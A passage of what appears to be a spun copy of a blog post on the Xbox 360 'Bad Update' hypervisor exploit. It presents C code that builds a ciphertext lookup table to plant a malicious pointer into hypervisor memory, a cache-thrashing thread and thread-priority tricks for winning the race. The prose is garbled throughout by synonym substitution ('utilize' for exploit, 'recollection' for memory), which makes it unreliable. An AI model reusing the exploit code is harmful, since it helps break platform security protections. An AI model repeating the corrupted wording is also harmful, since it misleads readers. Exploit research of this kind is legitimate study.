data-wp-init="callbacks.setButtonStyles" data-wp-on--click="actions.showLightbox" data-wp-on--load="callbacks.setButtonStyles" data-wp-on--pointerdown="actions.preloadImage" data-wp-on--pointerenter="actions.preloadImageWithDelay" data-wp-on--pointerleave="actions.cancelPreload" data-wp-on-window--resize="callbacks.setButtonStyles" src="https://icode4.coffee/wp-content/uploads/hv_tlb_flush-2-768x533.png" alt="" srcset="https://icode4.coffee/wp-content/uploads/hv_tlb_flush-2.png 840w, https://icode4.coffee/wp-content/uploads/hv_tlb_flush-2-300x208.png 300w, https://icode4.coffee/wp-content/uploads/hv_tlb_flush-2-768x533.png 768w" sizes=" 840px) 100vw, 840px"><figcaption>Older hypervisor (left) vs newer hypervisor (right) alongside missing TLB flush</figcaption></figure> </div> <p>When evaluation the utilize on the 17559 (latest) type hypervisor the lookup array was causing issues and fairly than examine I decided I&rsquo;d fix it afterward and moved on. By the period I got to the end of the utilize I had rotate into so blinded by tunnel imagination chasing CPU cache issues that I had convinced myself the lookup array fair wasn&rsquo;t going to work. What I should have likely done (aside from examine the lookup array issues whenever they surfaced) was to put this project downward for a few weeks and arrive rear alongside a apparent mindset. Oh well, instruction learned&hellip;</p> <p>Getting into the implementation particulars of the hash table, we use the archetypal N bits of the ciphertext we anticipate to see in recollection as an indicator into two arrays. The archetypal gathering contains the archetypal 64-bits of the oracle ciphertext which is used for validation in case there&rsquo;s always a collision in the hash table. The second gathering stores our malicious ciphertext we desire to compose into memory.</p> <div> <div id="urvanov-syntax-highlighter-6aebb9065c229389893290" data-settings=" minimize scroll-mouseover"> <div> <table readabilitydatatable="0"> <tr> <td data-settings="show"> </td> <td><div><p><span>// Index bits of the ciphertext lookup pseudo-hashtable</span></p><p><span>#define HASH_BITS 20</span></p><p><span>struct</span><span> </span><span>CIPHER_TEXT_DATA</span></p><p><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>ULONGLONG </span><span>dec_end_input_pos</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>ULONGLONG </span><span>dec_output_buffer</span><span>;</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// New dec_output_buffer pointer (dst location for memcpy)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>ULONGLONG </span><span>OracleCipherText</span><span>[</span><span>1</span><span> </span><span>&lt;&lt;</span><span> </span><span>HASH_BITS</span><span>]</span><span>;</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>// Cipher content for the LZX decoder environment header, used to detect whenever to commencement the competition attack</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>ULONGLONG </span><span>ReplacementCipherText1</span><span>[</span><span>1</span><span> </span><span>&lt;&lt;</span><span> </span><span>HASH_BITS</span><span>]</span><span>;</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>// Cipher content containing our malicious dec_output_buffer pointer (points to hypervisor memory)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>ULONGLONG </span><span>ReplacementCipherText2</span><span>[</span><span>1</span><span> </span><span>&lt;&lt;</span><span> </span><span>HASH_BITS</span><span>]</span><span>;</span></p><p><span>}</span><span>;</span></p></div></td> </tr> </table> </div> </div> </div> <p>In command to create this as productive as imaginable (remember we&rsquo;re racing the CPU and cache here) we disregard collisions. It&rsquo;s improved to have a few collisions and have to skip several iterations on the competition circumstance iteration than to execute assistance for buckets in the hash table. Instead we compensate for collisions by choosing a sufficiently ample adequate figure of bits for the hash array key specified that the figure of collisions is on the command of sole digits, if we equal have any (majority of the period there&rsquo;s 0).</p> <p>However, additional bits in the hash array key method a ample gathering to clasp the entries (meaning additional recollection is used) which could possibly activity against us as we&rsquo;ll be performing additional fetches from RAM since CPU cache is being thrashed. M&aacute;t&eacute;&rsquo;s first PR used a key size of 10 bits but I afterward upped this to 20 bits which seems to be a blessed place anywhere there&rsquo;s normally no collisions or if there are it&rsquo;s a low sole numeral number. The total size of recollection needed to clasp the two hash tables is concerning 24MB.</p> <div> <div id="urvanov-syntax-highlighter-6aebb9065c231720235958" data-settings=" minimize scroll-mouseover"> <div> <table readabilitydatatable="0"> <tr> <td data-settings="show"> <div><p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p><p>7</p><p>8</p><p>9</p><p>10</p><p>11</p><p>12</p><p>13</p><p>14</p><p>15</p><p>16</p><p>17</p><p>18</p><p>19</p><p>20</p><p>21</p><p>22</p><p>23</p><p>24</p><p>25</p><p>26</p><p>27</p><p>28</p><p>29</p><p>30</p><p>31</p><p>32</p><p>33</p><p>34</p><p>35</p><p>36</p><p>37</p><p>38</p><p>39</p><p>40</p><p>41</p><p>42</p><p>43</p><p>44</p><p>45</p><p>46</p><p>47</p><p>48</p><p>49</p><p>50</p><p>51</p><p>52</p><p>53</p><p>54</p><p>55</p></div> </td> <td><div><p><span>void</span><span> </span><span>BuildCipherTextLookupTable</span><span>(</span><span>BYTE</span><span>*</span><span> </span><span>pUpdateData</span><span>,</span><span> </span><span>DWORD </span><span>UpdateDataSize</span><span>,</span><span> </span><span>DWORD </span><span>ScratchOffset</span><span>,</span><span> </span><span>CIPHER_TEXT_DATA</span><span>*</span><span> </span><span>pCipherTextData</span><span>)</span></p><p><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Arbitrary virtual location that volition get mapped through the encrypted pathway to BaseAddrPhys.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>BYTE</span><span> </span><span>*</span><span>pMemoryAddress</span><span> </span><span>=</span><span> </span><span>(</span><span>BYTE</span><span>*</span><span>)</span><span>0x8D000000</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>.</span><span>.</span><span>.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Scan all 1024 imaginable whitening bits.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>for</span><span> </span><span>(</span><span>int</span><span> </span><span>i</span><span> </span><span>=</span><span> </span><span>0</span><span>;</span><span> </span><span>i</span><span> </span><span>&lt;</span><span> </span><span>1024</span><span>;</span><span> </span><span>i</span><span>++</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Allocate encrypted memory.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>HvxEncryptedReserveAllocation</span><span>(</span><span>(</span><span>DWORD</span><span>)</span><span>pMemoryAddress</span><span>,</span><span> </span><span>BaseAddrPhys</span><span>,</span><span> </span><span>UpdateDataSize</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>HvxEncryptedEncryptAllocation</span><span>(</span><span>(</span><span>DWORD</span><span>)</span><span>pMemoryAddress</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Manually flush the TLB admission for the encrypted allocation location so we choice up the new whitening value.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>HvxFlushSingleTb</span><span>(</span><span>pMemoryAddress</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Get the code content for the expected header data in the LZX decoder context. This acts as a</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// trigger to cognize whenever to commencement the competition attack.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>memset</span><span>(</span><span>pMemoryAddress</span><span>,</span><span> </span><span>0</span><span>,</span><span> </span><span>16</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>*</span><span>(</span><span>ULONG</span><span>*</span><span>)</span><span>(</span><span>pMemoryAddress</span><span> </span><span>+</span><span> </span><span>0</span><span>)</span><span> </span><span>=</span><span> </span><span>0x4349444c</span><span>;</span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>// signature = 'CIDL'</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>*</span><span>(</span><span>ULONG</span><span>*</span><span>)</span><span>(</span><span>pMemoryAddress</span><span> </span><span>+</span><span> </span><span>4</span><span>)</span><span> </span><span>=</span><span> </span><span>0x8000</span><span>;</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>// windows size = 0x8000</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>*</span><span>(</span><span>ULONG</span><span>*</span><span>)</span><span>(</span><span>pMemoryAddress</span><span> </span><span>+</span><span> </span><span>8</span><span>)</span><span> </span><span>=</span><span> </span><span>1</span><span>;</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// cpu category = 1</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>__dcbst</span><span>(</span><span>0</span><span>,</span><span> </span><span>(</span><span>char</span><span> </span><span>*</span><span>)</span><span> </span><span>pMemoryAddress</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>KeFlushCacheRange</span><span>(</span><span>pMemoryAddress</span><span>,</span><span> </span><span>0x80</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>KeFlushCacheRange</span><span>(</span><span>pUpdateData</span><span> </span><span>+</span><span> </span><span>ScratchOffset</span><span>,</span><span> </span><span>0x80</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Use the archetypal N bits of the code content data as an indicator into the lookup table.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>ULONGLONG </span><span>oracleData</span><span> </span><span>=</span><span> </span><span>*</span><span>(</span><span>ULONGLONG</span><span> </span><span>*</span><span>)</span><span>(</span><span>pUpdateData</span><span> </span><span>+</span><span> </span><span>ScratchOffset</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>int</span><span> </span><span>index</span><span> </span><span>=</span><span> </span><span>oracleData</span><span> </span><span>&gt;&gt;</span><span> </span><span>(</span><span>64</span><span> </span><span>-</span><span> </span><span>HASH_BITS</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Check if we hit a collision in the code content lookup table.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>if</span><span> </span><span>(</span><span>pCipherTextData</span><span>-&gt;</span><span>OracleCipherText</span><span>[</span><span>index</span><span>]</span><span> </span><span>!=</span><span> </span><span>0</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>collisionCount</span><span>++</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Add the current code content admission to the lookup table, overwriting any existing value.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>pCipherTextData</span><span>-&gt;</span><span>OracleCipherText</span><span>[</span><span>index</span><span>]</span><span> </span><span>=</span><span> </span><span>oracleData</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Get the corresponding code content for our malicious dec_output_buffer pointer which points to the hypervisor code we desire to overwrite.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>*</span><span>(</span><span>ULONGLONG</span><span>*</span><span>)</span><span>(</span><span>pMemoryAddress</span><span> </span><span>+</span><span> </span><span>0x2B20</span><span>)</span><span> </span><span>=</span><span> </span><span>pCipherTextData</span><span>-&gt;</span><span>dec_end_input_pos</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>*</span><span>(</span><span>ULONGLONG</span><span>*</span><span>)</span><span>(</span><span>pMemoryAddress</span><span> </span><span>+</span><span> </span><span>0x2B28</span><span>)</span><span> </span><span>=</span><span> </span><span>pCipherTextData</span><span>-&gt;</span><span>dec_output_buffer</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>__dcbst</span><span>(</span><span>0</span><span>,</span><span> </span><span>(</span><span>char</span><span> </span><span>*</span><span>)</span><span> </span><span>pMemoryAddress</span><span> </span><span>+</span><span> </span><span>0x2B00</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>KeFlushCacheRange</span><span>(</span><span>pMemoryAddress</span><span> </span><span>+</span><span> </span><span>0x2B00</span><span>,</span><span> </span><span>0x80</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>KeFlushCacheRange</span><span>(</span><span>pUpdateData</span><span> </span><span>+</span><span> </span><span>ScratchOffset</span><span> </span><span>+</span><span> </span><span>0x2B00</span><span>,</span><span> </span><span>0x80</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Store code content for our malicious dec_output_buffer pointer into the lookup table.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>pCipherTextData</span><span>-&gt;</span><span>ReplacementCipherText1</span><span>[</span><span>index</span><span>]</span><span> </span><span>=</span><span> </span><span>*</span><span>(</span><span>ULONGLONG</span><span> </span><span>*</span><span>)</span><span> </span><span>(</span><span>pUpdateData</span><span> </span><span>+</span><span> </span><span>ScratchOffset</span><span> </span><span>+</span><span> </span><span>0x2B20</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>pCipherTextData</span><span>-&gt;</span><span>ReplacementCipherText2</span><span>[</span><span>index</span><span>]</span><span> </span><span>=</span><span> </span><span>*</span><span>(</span><span>ULONGLONG</span><span> </span><span>*</span><span>)</span><span> </span><span>(</span><span>pUpdateData</span><span> </span><span>+</span><span> </span><span>ScratchOffset</span><span> </span><span>+</span><span> </span><span>0x2B28</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Free the encrypted allocation.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>result</span><span> </span><span>=</span><span> </span><span>HvxEncryptedReleaseAllocation</span><span>(</span><span>(</span><span>DWORD</span><span>)</span><span>pMemoryAddress</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>}</span></p><p><span>}</span></p></div></td> </tr> </table> </div> </div> </div> <p>Looking at the snippet complete we can see how the hash array is built. We iteration 1024 times to exhaust all imaginable whitening values for this leaf of memory. Each repeat we encrypt the leaf (which volition increment the whitening value), get the ciphertext for the LZX decoder data we anticipate to be in recollection and the ciphertext for our malicious data, afterward add them to the hash tables. On lines 15-16 we can see the HvxFlushSingleTb call that thwarted my own attempt at using a hash table, and on lines 30-31 we can see how the archetypal N bits of the expected ciphertext is used as the hash array key.</p> <h3 id="improved-cache-flushing">Improved Cache Flushing</h3> <p>In my first PoC I used a distinctive characteristic of the Xbox 360 CPU to <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">lock distant fractional of the accessible L2 cache</a> to try and put as much force on it as I could. The L2 locking method was pivotal in the first PoC but it didn&rsquo;t put as much force on CPU cache as I would have liked. Putting force on CPU cache is particularly annoying since kernel manner (where the utilize code is running) cannot use certain cache flushing instructions because of them being privileged and lone usable in hypervisor mode. </p> <p>Additionally, the hypervisor lone runs alongside CPU caching enabled whenever functioning on encrypted recollection which makes finding a hypervisor flat cache flush primitive difficult. I tried to activity about this by finding a <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">hypervisor syscall that would peruse a ample amount of encrypted memory</a>, and I did discover one syscall that fit the description, but it wasn&rsquo;t nearly adequate for what I needed. That function additionally had locks in it which prevented me from executing it on multiple threads simultaneously.</p> <p>However, there was a kernel manner cache education I entirely overlooked that M&aacute;t&eacute; had established to activity extremely well, dcbz or data cache obstacle set to zero. Aside from fair zero&rsquo;ing out a CPU cache row this education has an engaging flank effect:</p> <pre>If the cache obstacle is already in the data cache, all of its bytes are cleared to zero. <strong>If it is not in the cache, the obstacle is allocated and initialized immediately in the cache</strong> to zero without study the old contents from chief memory.</pre> <p>So if this education is used on a recollection location that&rsquo;s not currently in CPU cache the CPU volition allocate area for it and possibly evict item alternatively to create area for it. By operating the dcbz education complete ample regions of recollection it can be used as a cache flush primitive and power old data in CPU cache to be evicted. In M&aacute;t&eacute;&rsquo;s first implementation he allocated an 0x80000 byte area of recollection afterward looped complete it and for all 0x80 bytes (the size of a cache line) called dcbz. </p> <p>This worked extremely well, however, I established that by expanding the allocation size by 3x and calling dcbz at three distinct locations I was capable to province slightly additional force on CPU cache which would be crucial for another betterment I&rsquo;ll get to afterward on. Here&rsquo;s the final implementation:</p> <div> <div id="urvanov-syntax-highlighter-6aebb9065c232689138634" data-settings=" minimize scroll-mouseover"> <div> <table readabilitydatatable="0"> <tr> <td data-settings="show"> <div><p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p><p>7</p><p>8</p><p>9</p><p>10</p><p>11</p><p>12</p><p>13</p><p>14</p><p>15</p><p>16</p><p>17</p><p>18</p><p>19</p><p>20</p><p>21</p><p>22</p><p>23</p><p>24</p><p>25</p><p>26</p></div> </td> <td><div><p><span>void</span><span> </span><span>CacheThrashThreadProc</span><span>(</span><span>THREAD_ARGS</span><span>*</span><span> </span><span>pArgs</span><span>)</span></p><p><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Allocate a scratch buffer to assistance alongside thrashing L2 cache.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>BYTE</span><span>*</span><span> </span><span>pCacheThrashBuffer</span><span> </span><span>=</span><span> </span><span>(</span><span>BYTE</span><span>*</span><span>)</span><span>MmAllocatePhysicalMemoryEx</span><span>(</span><span>MEM_REGION_TITLE</span><span>,</span><span> </span><span>0x180000</span><span>,</span><span> </span><span>PAGE_READWRITE</span><span> </span><span>|</span><span> </span><span>MEM_LARGE_PAGES</span><span>,</span><span> </span><span>NULL</span><span>,</span><span> </span><span>MAXULONG_PTR</span><span>,</span><span> </span><span>0x20000</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>BYTE</span><span>*</span><span> </span><span>pCacheThrashBuffer2</span><span> </span><span>=</span><span> </span><span>pCacheThrashBuffer</span><span> </span><span>+</span><span> </span><span>0x80000</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>BYTE</span><span>*</span><span> </span><span>pCacheThrashBuffer3</span><span> </span><span>=</span><span> </span><span>pCacheThrashBuffer</span><span> </span><span>+</span><span> </span><span>0x100000</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Loop until we're told to exit.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>while</span><span> </span><span>(</span><span>pArgs</span><span>-&gt;</span><span>bRunCacheThrashing</span><span> </span><span>!=</span><span> </span><span>FALSE</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>for</span><span> </span><span>(</span><span>int</span><span> </span><span>i</span><span> </span><span>=</span><span> </span><span>0</span><span>;</span><span> </span><span>i</span><span> </span><span>&lt;</span><span> </span><span>3</span><span>;</span><span> </span><span>i</span><span>++</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Walk the complete scratch buffer and try to fetch it into CPU cache.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>int</span><span> </span><span>offset</span><span> </span><span>=</span><span> </span><span>0</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>while</span><span> </span><span>(</span><span>offset</span><span> </span><span>&lt;</span><span> </span><span>0x80000</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Zero three distinct blocks.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>__dcbz</span><span>(</span><span>offset</span><span>,</span><span> </span><span>pCacheThrashBuffer</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>__dcbz</span><span>(</span><span>offset</span><span>,</span><span> </span><span>pCacheThrashBuffer2</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>__dcbz</span><span>(</span><span>offset</span><span>,</span><span> </span><span>pCacheThrashBuffer3</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>offset</span><span> </span><span>+=</span><span> </span><span>0x80</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>}</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>}</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>}</span></p><p><span>}</span></p></div></td> </tr> </table> </div> </div> </div> <h3>Improved Thread Scheduling</h3> <p>In part 2 I talked concerning trying to <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">schedule the utilize threads on distinct hardware threads</a> and how I got the finest results by putting them on CPU hardware threads 0 and 1 (which are the two on center 0). I don&rsquo;t really cognize item concerning how CPUs activity at a hardware flat but I suspected that the load/store recollection transactions from the two hardware threads on the identical center were being queued onto the L2 crossbar in several kind of per-core fashion. Thus by putting the utilize threads on the hardware threads for a sole center the writes from the utilize thread and says from the XKE payload thread would get queued together and decrease latency for loads/stores to RAM, or item akin that.</p> <p>It&rsquo;s likely not extremely amazing to anyone study this but CPUs frequently have &ldquo;hidden&rdquo; instructions, ones not defined by the education set architecture (ISA) but implemented by the CPU manufacturer. Sometimes these have a particular education encoding and another times you&rsquo;d use an existing education in a nonsensical way to inform the CPU to do a particular operation.</p> <p>In the case of PowerPC <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">the ISA really has several fine defined instructions</a> for changing the precedence of a hardware thread by executing a particular OR education alongside all 3 enroll operands set to the identical particular enroll according to what precedence you desire the hardware thread to run at. For example:</p> <div> <div id="urvanov-syntax-highlighter-6aebb9065c234319657335" data-settings=" minimize scroll-mouseover"> <div> <table readabilitydatatable="0"> <tr> <td data-settings="show"> </td> <td><div><p><span>or</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>r</span>1<span>,</span><span> </span><span>r</span>1<span>,</span><span> </span><span>r</span>1<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>#<span> </span><span>Low</span><span> </span><span>priority</span></p><p><span>or</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>r</span>2<span>,</span><span> </span><span>r</span>2<span>,</span><span> </span><span>r</span>2<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>#<span> </span><span>Medium</span><span> </span><span>priority</span></p><p><span>or</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>r</span>5<span>,</span><span> </span><span>r</span>5<span>,</span><span> </span><span>r</span>5<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>#<span> </span><span>High</span><span> </span><span>priority</span></p></div></td> </tr> </table> </div> </div> </div> <p>The Xbox 360 SDK docs depict a few intrinsic macros that can be used to set the precedence of the hardware thread the code is operating on: __SetHWThreadPriorityLow, __SetHWThreadPriorityMed, and __SetHWThreadPriorityHigh. The genuine CPU instructions used by these macros are slightly distinct than what I listed complete (these macros are xenon CPU specific) but that doesn&rsquo;t really matter. </p> <p>The SDK docs depict all center as having 32 dispatch slots which are divided evenly between hardware threads operating at average precedence (which is the default priority). By using the __SetHWThreadPriorityLow and __SetHWThreadPriorityHigh intrinsic macros you can have one hardware thread use 31 of the 32 dispatch slots and the another lone use 1. How the dispatch slots connect to figure of instructions fed to the CPU implementation units I&rsquo;m not certain (again I have no idea how a CPU pipeline really works), but being capable to go from 16/16 to 1/31 appears beautiful helpful for scheduling the utilize threads.</p> <p>Using these intrinsic macros M&aacute;t&eacute; was capable to agenda the utilize threads specified that the hardware thread operating the XKE payload was lone getting 1 of the 32 dispatch slots during the ciphertext overwrite thread got the remaining 31 slots. The outcome was that the CPU was now spending the overwhelming bulk of period in the ciphertext finding iteration than it was really operating the XKE payload.</p> <h3>Improved Ciphertext Overwrite Detection</h3> <p>The final betterment was item I came up alongside during operating on the Peer Pressure utilize to try and create the Bad Update utilize as stable as I could get it. In the first PoC I had discovered the compressed bootloader data the XKE payload operates on was compressed into 15 blocks alongside all but the final obstacle having a decompressed size of 0x8000 bytes. If the XKE payload assault was prosperous part of the final section of the hypervisor would be overwritten alongside the decompressed data for one or additional of the compressed blocks. By <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">observing the ciphertext for the final section of the hypervisor in two distinct locations</a> I could decide if the final obstacle of compressed data was written to it by the XKE payload.</p> <div> <figure data-wp-context='&quot;6aebb90661a89&quot;}' data-wp-interactive="core/image" data-wp-key="6aebb90661a89"><img decoding="async" width="1201" height="274" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on--click="actions.showLightbox" data-wp-on--load="callbacks.setButtonStyles" data-wp-on--pointerdown="actions.preloadImage" data-wp-on--pointerenter="actions.preloadImageWithDelay" data-wp-on--pointerleave="actions.cancelPreload" data-wp-on-window--resize="callbacks.setButtonStyles" src="https://icode4.coffee/wp-content/uploads/hypervisor_code_block_write-1-768x175.png" alt="" srcset="https://icode4.coffee/wp-content/uploads/hypervisor_code_block_write-1.png 1201w, https://icode4.coffee/wp-content/uploads/hypervisor_code_block_write-1-300x68.png 300w, https://icode4.coffee/wp-content/uploads/hypervisor_code_block_write-1-768x175.png 768w" sizes=" 1201px) 100vw, 1201px"><figcaption>Using ciphertext to decide whenever the final compressed obstacle was written to memory.</figcaption></figure> </div> <p>The assault was setup specified that if the final obstacle of compressed data was written to the hypervisor at a particular offset it would alter the instructions for one of hypervisor syscalls to a write-what-where primitive I could use 